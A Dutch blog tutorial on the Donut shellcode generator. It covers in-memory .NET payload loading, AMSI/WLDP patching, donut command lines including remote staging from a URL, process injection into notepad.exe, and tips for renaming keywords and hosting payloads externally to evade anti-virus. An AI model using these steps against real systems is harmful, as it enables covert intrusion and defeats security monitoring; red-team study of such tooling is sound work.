Donut – ShellCode Generator
Ik ben met Donut in aanraking gekomen via Evil-WinRM. Evil-WinRM (post volgt later) geeft namelijk de mogelijkheid om Donut Shellcode in te laden. Toen ik dat voor het eerst zag had ik eigenlijk geen idee wat Donut exact was (behalve dan die lekkere plakkerige koeken uiteraard). De Donut website omschrijft Donut als volgt: “Genereert x86, x64 of AMD64 en AMD x86 shellcodes welke positie-onafhankelijk zijn. De Donut Shellcode laadt .NET Assemblies, PE-bestanden en andere Windows-payloads uit het geheugen en voert deze uit met de opgegeven parameters. Vooral de uitvoering van in-memory payloads is ontzettend interessant. Snap jij het nu? Nee? Lees met me mee …. and be amazed!
Donut is een project van Odzhan en TheWover. Donut is opgericht omdat anti-malware systemen steeds beter worden. Waar je vroeger veel methodes onderdelen wegschreven op de hard-drive daar worden nu vaak methodes gebruikt die niet (goed) door anti-malware applicaties gecontroleerd worden. Denk b.v. aan het intern geheugen. Het is ideaal om zaken uit te voeren in het geheugen omdat de AV controle slecht is en omdat het weinig sporen achterlaat. In de Windows-wereld biedt het .NET Framework hiervoor een handig mechanisme. Helaas mogen .NET-programma’s niet rechtstreeks in externe processen worden geïnjecteerd. Dit is waar Donut ons een helpende hand komt bieden. Met Donut is het mogelijk om VBScript, JScript, EXE, DLL’s en dotNET assemblies in het geheugen uit te voeren. Een module welke gemaakt is met Donut kan worden gestaged vanaf een HTTP-server of rechtstreeks worden ge-embed vanuit de loader zelf. De module is optioneel gecodeerd met behulp van het “Chaskey-blockcipher” en een willekeurig gegenereerde 128-bits sleutel. Nadat het bestand in het geheugen is geladen en is uitgevoerd wordt de oorspronkelijke referentie gewist zodat anti-malware scanners die het geheugen scannen geen vreemde zaken zullen vinden. De Donut generator en loader ondersteunen de volgende kenmerken:
- Kan werken met elk Windows proces (ongeacht de gebruikte architectuur en of CLR geladen is.
- Het is mogelijk om code te injecteren in een extern (ander) proces of in het lokale (huidige) proces.
- Je kunt zelf bepalen op welke manier die injectie plaatsvindt.
- Werkt met meerdere types processen
- Compressie van invoerbestanden met aPLib en LZNT1, Xpress, Xpress Huffman via RtlCompressBuffer.
- Entropy gebruiken voor API-hashes en het genereren van tekenreeksen.
- 128-bits symmetrische codering van bestanden.
- Patching van de Antimalware Scan Interface (AMSI) en Windows Lockdown Policy (WLDP).
- Commandoregel voor EXE-bestanden patchen.
- Patch-gerelateerde API patchen om het beëindigen van het hostproces te voorkomen.
- Meerdere uitvoerformaten: C, Ruby, Python, PowerShell, Base64, C #, Hexadecimaal.
Het meest flexibele type payload welke aan deze vereisten voldoet is shellcode. Helaas kun je niet zomaar een .NET Assembly converteren naar shellcode. .NET gebruikt namelijk een runtime opgeving en kan niet rechtstreeks op de hardware draaien. Zou het niet geweldig zijn als we .NET Assemblies gewoon als shellcode zouden kunnen injecteren? Begin je al te begrijpen waarom Donut zo potentieel krachtig en handig is?
Het volgende is belangrijk om te begrijpen hoe Donut werkt:
Microsoft biedt een API die bekend staat als de Unmanaged CLR Hosting API. Deze API zorgt ervoor dat unmanaged code zoals b.v. C en C++ de Common Language Runtimes kunnen hosten, inspecteren en configureren. Deze Microsoft API is een legitieme API die voor veel doeleinden gebruikt kan worden. Microsoft gebruikt het voor verschillende van hun producten en andere bedrijven gebruiken het om aangepaste loaders voor hun programma’s te ontwerpen. Het kan worden gebruikt om de prestaties van .NET-toepassingen te verbeteren of om sandboxen te maken. Uiteraard kan de API ook voor andere “rare” dingen gebruikt worden. Dat is wat Donut doet.
Deze API maakt het bijvoorbeeld mogelijk om .NET Assemblies handmatig te laden binnen willekeurige toepassingsdomeinen. Dit kan doen vanaf disk of vanuit het geheugen. Donut gebruiken deze mogelijkheid om .NET Assemblies vanuit het geheugen te laden.
Donut maakt zijn shellcode zo dat eerst de CLR API geladen wordt. By default wordt versie 4.0.30319 van de CLR gebruikt welke de 4.0 versies van .NET ondersteunt. De gebruiker heeft zelf de mogelijkheid om een andere API versie te specificeren. Als het laden van een specifieke versie mislukt dan zal Donut proberen om de versie te laden die beschikbaar is op het systeem. Zodra de CLR is geladen maakt de shellcode een nieuw AppDomain aan. Vervolgens moet de .NET Assembly-payload worden verkregen. Als de gebruiker een staging-URL heeft opgegeven wordt de Assembly vanuit daar gedownload. Als er geen staging URL wordt opgegeven dan wordt de assembly verkregen vanuit het geheugen. Deze wordt in het nieuwe AppDomain worden geladen. Nadat de Assembly is geladen maar voordat deze wordt uitgevoerd, wordt de ontsleutelde kopie vrijgegeven die later weer uit het geheugen wordt gehaald met VirtualFree om geheugenscanners misleiden. Als laatste wordt het door de gebruiker gespecificeerde toegangspunt opgeroepen samen met eventuele additionele parameters.
Als de CLR al in het hostproces is geladen werkt de shellcode van de donut nog steeds. De .NET Assembly wordt in het nieuwe AppDomain (toepassingsdomein) geladen binnen het beheerde proces. .NET is ontworpen om.NET Assemblies die zijn gebouwd voor meerdere versies van .NET tegelijkertijd in hetzelfde proces uit te voeren. Dit betekend dat de payload altijd moet worden uitgevoerd, ongeacht de status van het proces voordat de injectie plaatsvond.
Bovenstaande samenvatting beschrijft hoe de Donus shellcode werk. Deze logica is gedefinieerd in payload.exe. Om de shellcode op te halen pakt exe2h de gecompileerde machinecode uit via het .text-segment in payload.exe en slaat deze op als een C-array in een C-headerbestand. Donut combineert de shellcode met een donutinstance (een configuratie voor de shellcode) en een donutmodule (structuur die de .NET-assembly, class name, method name en eventuele parameters bevat).
Donut bevat individuele loaders voor elk bestandstype dat door Donut ondersteund wordt.
Voor dotNET EXE / DLL-assembly’s gebruikt Donut de “Unmanaged CLR Hosting API” om de Common Language Runtime te laden. Zodra de CLR in het hostproces is geladen wordt een nieuw toepassingsdomein gemaakt om Assemblies in wegwerpbare AppDomains mogelijk te maken. Als het AppDomain klaar is wordt de dotNET Assembly geladen via de AppDomain.Load_3 methode. Ten slotte wordt het door de gebruiker gespecificeerde toegangspunt voor EXE’s of openbare methode voor DLL’s aangeroepen met eventuele aanvullende parameters.
VBScript- en JScript-bestanden worden uitgevoerd met de IActiveScript-interface. Er is ook minimale ondersteuning voor sommige van de methoden die worden aangeboden door de Windows Script Host (wscript / cscript).
Onbeheerde of native EXE / DLL-bestanden worden uitgevoerd met behulp van een aangepaste PE-loader met ondersteuning voor vertraagde import, TLS en het patchen van de opdrachtregel. Alleen bestanden met verplaatsingsinformatie worden ondersteund.
NET Applicaties zijn verpakt in .NET Assemblies. Ze worden zo genoemd omdat de code uit de programmeertaal van uw keuze is “geassembleerd” in CIL (Common Intermediate Language) ook wel MSIL genoemd. Deze code is dus meer geassembleerd dan gecompileerd. Alle .NET-talen zijn “assembled” (samengesteld) naar deze tussentaal. CIL is een generieke objectgeoriënteerde assembleertaal welke kan worden geïnterpreteerd in machinecode voor elke hardware-architectuur. Dit heeft als voordeel dat ontwerpers van .NET-talen hun compilers niet hoeven te ontwerpen rond de architecturen waarop ze zullen draaien. In plaats daarvan hoeven ze het alleen te ontwerpen om te compileren naar één taal: CIL. Assemblies gebruiken een extensie van het PE-formaat en worden weergegeven als een EXE of een DLL die CIL bevat in plaats van native machinecode. Net als Java gebruikt .NET een runtime-omgeving (of “virtuele machine”) om code tijdens runtime te interpreteren. Alle .NET-code wordt vóór uitvoering gecompileerd van een intermediaire taal naar native code “Just-In-Time”.
Hierboven lazen we al een keer over de een “AppDomain”. Wanneer assemblies worden uitgevoerd in een veilige “box” is dat een “Applicatie Domein” ofwel een “AppDomain”. Binnen een AppDomain kunnen meerdere Assemblies bestaan en binnen een proces kunnen meerdere AppDomains bestaan. AppDomains zijn bedoeld om hetzelfde niveau van isolatie te bieden tussen het uitvoeren van Assemblies als normaal wordt voorzien voor processen. Threads kunnen worden verplaatst tussen AppDomains en kunnen objecten delen via “Marshalling” en “Delegates”. Wanneer Donut een Assembly laadt wordt deze in een nieuw AppDomain geladen, tenzij de gebruiker de naam van het AppDomain specificeert met de ‘-d’ parameter. Donut geeft dus by-default het AppDomain een willekeurige naam. Donut is speciaal ontworpen om payloads in nieuwe AppDomains uit te voeren in plaats van het “DefaultDomain” te gebruiken. Mocht je wel graag een eigen custom AppDomein of het DefaultDomain gebruiken dan kun je dit gemakkelijk aanpassen door payload.c aan te passen. Door de payload in zijn eigen AppDomain uit te voeren maakt dit ontwikkeling mogelijk van tools die post-exploitatie-modules uitvoeren in wegwerpbare AppDomains. Het voordeel hiervan is dat custom AppDomains kunnen worden verwijderd, maar individuele assembly’s niet. Zo kan een C# -agent de shellcode op zijn server laten genereren en in een nieuwe thread injecteren. Vervolgens kan deze wachten tot de Assembly klaar is met uitvoeren om tenslotte het host AppDomain te verwijderen.
Een Donut applicatie wordt gegenereerd door een willekeurige .NET Assembly, zijn parameters en een toegangspunt (zoals Program.Main) op te geven. Donut genereerd hier vervolgens een positie-onafhankelijke shellcode uit welke in het geheugen geladen kan worden. Voordat we een payload gaan genereren met Donut is het zaak om Donut te installeren. In dit voorbeeld doen we dit op een Linux machine maar ook is installatie mogelijk op Windows en kan zelfs als Python module worden gebruikt. De installatie op een Linux machine ziet er als volgt uit.
1. Clone de GIT repository
git clone http://github.com/thewover/donut.git |
2. Donut bestaat uit een loader template, een dynamic library (donut.dll), een static library (donut.lib) en de generator (donut.exe). Deze moeten nog gecompiled worden. In Windows kun je hier Microsoft Visual Studio of MinGW-64 voor gebruiken. In Linux typen we simpelweg:
make |
En als laatste zorg je ervoor dat donut uitvoerbaar wordt:
chmod +x donut |
En klaar is de installatie.
De applicatie kan gebruikt worden vanuit de installatiedirectory en kent de volgende belangrijke flags:
- -a = Arch. Zonder het opgeven van de “a” flag wordt als doelarchitectuur x86+amd64 gebruikt. 1=x86 – 2=amd64 – 3=x86+amd64.
- -f = Format. Deze flag definieert de output. Standaard is dit een binary. Je hebt hierin de volgende opties. 1=binary (default) – 2=Base64 – 3=C – 4=Ruby – 5=Python – 6=PowerShell – 7=C# – 8=Hexadecimal.
- -c = Class. Deze optionele flag geeft de mogelijkheid om optionele class names (en namespace classes) toe te voegen. Deze is verplicht bij .NET DLL’s. Notatie is namespace.class
- -m = Method. Deze optionele flag geeft de mogelijkheid om optionele method of function toe te voegen. Deze is verplicht bij .NET DLL’s.
- -p = Parameters. Deze functie is speciaal voor DLL’s en EXE files en maakt het mogelijk om additionele parameters mee te geven. Parameters hebben een maximale lengte van 32 karakters.
- -d – AppDomain Name. De naam van het AppDomain voor .NET. Wanneer entropie enabled is wordt deze naam automatisch gegenereerd.
- -b – Level. De -b flag maakt het mogelijk om AMSI/WLDP acties op te geven. De default (3) is “continue on fail”. Dus wanneer de bypassing van AMSI/WLDP faalt zal de payload alsnog geladen worden. 1 = geen actie – 2 = abort on fail.
- -e = Entropy Level. Standaard (3) is Donut ingesteld om random names te genereren incl. symmetrische encryptie. 1 = Geen entropie – 2 = Generate random names.
- -o = Output. Middels deze flag kun je bepalen waas Donut de payload opslaat. Standaard is “loader.bin” in de huidige directory.
Donut kent nog een aantal andere flags zoals de HTTP Staging server, compressie en een aantal overige opties.
Nu we Donut geïnstalleerd hebben en weten welke opties we kunnen meegeven kunnen we nog geen payload creëren. Er zijn nog een aantal belangrijke voorwaarden aan een payload. Zoals:
.NET Assemblies:
- De entry point methode mag geen argumenten of alleen string-based argumenten bevatten.
- De toegangspuntmethode moet worden gemarkeerd als openbaar en statisch.
- De class welke de entry point-methode bevat, moet worden gemarkeerd als openbaar.
- De Assembly mag GEEN Mixed Assembly zijn (bevat zowel managed als native code).
- De assembly mag geen unmanaged exports bevatten.
Native EXE / DLL
Binaries gebouwd met Cygwin worden niet ondersteund.
- Binaries gebouwd met Cygwin worden niet ondersteund. Cygwin-uitvoerbare bestanden gebruiken initialisatieroutines die verwachten dat het hostproces vanaf schijf wordt uitgevoerd. Als het vanuit het geheugen wordt uitgevoerd, zal het hostproces waarschijnlijk vastlopen.
Unmanaged DLL’s
- De entry point methode mag geen argumenten of alleen string-based argumenten bevatten.
Met deze informatie zijn we in staat om onze eerste shellcode te genereren. Onderstaande commando genereerd een shellcode payload van het wormpje.exe bestand. Deze shellcode wordt een default x86-amd64 bestand welke we opslaan als ~/Desktop/wormpje.bin.
donut.exe ~/EXE/wormpje.exe -o ~/Desktop/wormpje.bin |
Om in plaats van een binary output een Powershell als output te krijgen veranderen we de output met de -f flag:
./donut ~/EXE/wormpje.exe -f 6 -o ~/Desktop/wormpje.ps1 |
Bovenstaande commando is echter ontzettend basic. We moeten ook een namespace opgeven en wellicht ook een class. Stel voor dat we als namespace “Grondwerk” hebben welke de “Program” class bevat dan specificeren we het commando als volgt:
./do ~/EXE/wormpje.exe -c Grondwerk.Program -o ~/Desktop/wormpje.bin |
Wanneer deze shellcode voor een x86 (32-bits) processor gegenereerd moet worden gebruik je de -a flag:
./donut ~/EXE/wormpje.exe -a 1-c Grondwerk.Program -o ~/Desktop/wormpje.bin |
Wanneer we de “Main” method uit de “Program” class willen compilen dan gebruiken we de -m toevoeging.
./donut ~/EXE/wormpje.exe -c Grondwerk.Program -m Main -o ~/Desktop/wormpje.bin |
We kunnen hier uiteraard ook extra parameters aan toevoegen.
./donut ~/EXE/wormpje.exe -c Grondwerk.Program -m Main -p explorer.exe,notepad.exe -o ~/Desktop/wormpje.bin |
Door toevoeging van de -r flag kunnen we de versie van de CLR Runtime specificeren. By default wordt v4 gebruikt voor .NET versies v.a. 4.0 en hoger. Wanneer je voor een oudere Windows en dus een oudere .NET versie shellcode wilt maken moet je CLR v2 gebruiken (versie voor .NET 3.5). Laten we eens een oude CLR versie specificeren:
./donut ~/EXE/wormpje.exe -c Grondwerk.Program -m Main -p explorer.exe,notepad.exe -r v2.0.50727 -o ~/Desktop/wormpje.bin |
Zoals al eerdere aangegeven is het AppDomain een belangrijke toevoeging welke niet gespecificeerd hoeft te worden. Donut zal zelf een random AppDomain gebruiken. Maar uiteraard kunnen we hem wel statisch specificeren met toevoeging van de -d flag:
./donut ~/EXE/wormpje.exe -c Grondwerk.Program -m Main -p explorer.exe,notepad.exe -d ResourceDomain -o ~/Desktop/wormpje.bin |
Om de het formaat van de uiteindelijke shellcode te verkleinen (of om diverse andere redenen zoals obfuscatie) kunt je een doel URL specificeren waarop payload gehost wordt. Donut maakt vervolgens een gecodeerde Donut module met een willekeurige naam welke op specifieke locatie gehost moet worden. De naam en locatie waar deze geplaatst moet worden, wordt weergegeven op het scherm wanneer de shellcode gegenereerd is. Deze locatie geven we aan met de -u flag:
donut.exe ~/EXE/wormpje.exe -u http://hostserver.nl/modules/ -c Grondwerk.Program -m Main -p explorer.exe,notepad.exe -d ResourceDomain -o ~/Desktop/wormpje.bin |
Nadat de shellcode gegenereerd is, is de primaire taak van Donut voltooid maar heb je nog niet klaar. Nu we een Shellcode hebben moet deze nog geïnjecteerd worden in een .NET proces. Ook hier biedt Donut diverse handige tools voor die je kunt gebruiken. Hou er rekening mee dat het geïnjecteerde proces door de injectie geraakt wordt en “vreemd” gedrag kan vertonen zoals crashen of vertraagd reageren.
Allereerst moeten we een geschikt proces vinden. Hiervoor kunnen we de ProcessManager van TheWover gebruiken (uncompiled al aanwezig in de Donut distro). De ProcessManager laat alle processen zien en of deze injectable zijn.
De processen die (meestal wegens rechten) niet injectable zijn hebben bij “Arch” een * staan. Wanneer hier een x32 of x64 architectuur vermeld staat zijn deze injectable met een payload die voor deze architectuur gemaakt is.
Laten we zeggen dat we de gemaakte shellcode in Notepad.exe willen injecteren.
We zien nu dat deze een PID heeft van 27372.
We nemen nu de shellcode in base64 formaat (-f 2). Deze Base64 string kopiëren en plakken we in de DonutTest applicatie (/donut/DonutTest/Program.cs).
Nu gaan we de applicatie compilen naar een Windows .NET binary (EXE). Best Practise is om voor het compilen alle keywords te vervangen die anti-virus scanners kunnen alarmeren. Vervang b.v. keywords als “ShellcodeTest, Program, Grunt”, “Stager”, “Execute” etc.
Om te compilen gebruiken we Visual Studio. Je kunt uiteraard ook andere tools gebruiken zoals csc en Mono voor Linux. Het compileren met Mono ziet er als volgt uit:
mcs Program.cp |
Maar met Visual Studio ziet het er als volgt uit.
Nu we een compiled EXE hebben kunnen we deze (DonutTest) gebruiken om in het Notpad.exe proces te injecteren. Om dit te doen voeren we de applicatie uit en geven we het ProcessID op:
De injectie is geslaagd (als er geen errors getoond worden).
De Donut shellcode generator kent een aantal unieke features zoals, .NET injection, in-memory execution, bypassing AMSI en backwards compatibility voor .NET. Vooral het uitvoeren in het geheugen is een grote stap voorwaarts t.o.v. het uitvoeren van on-disk files. Om nog minder anti-virus applicaties te triggeren is het aan te raden om de payload op een externe server te hosten. Voorwaarde is uiteraard dat de doelcomputer hier wel toegang toe moet hebben. Evil-WinRM maakt het mogelijk om Donut shellcode uit te voeren. Maar later meer over Evil-WinRM.
Ik hoop dat jullie deze post interessant vonden. Ik wel 🙂 Zo ja… wil je me dan een klein beetje helpen door deze post te liken of liever nog weder te delen op je website of social media? Alvast ontzettend bedankt!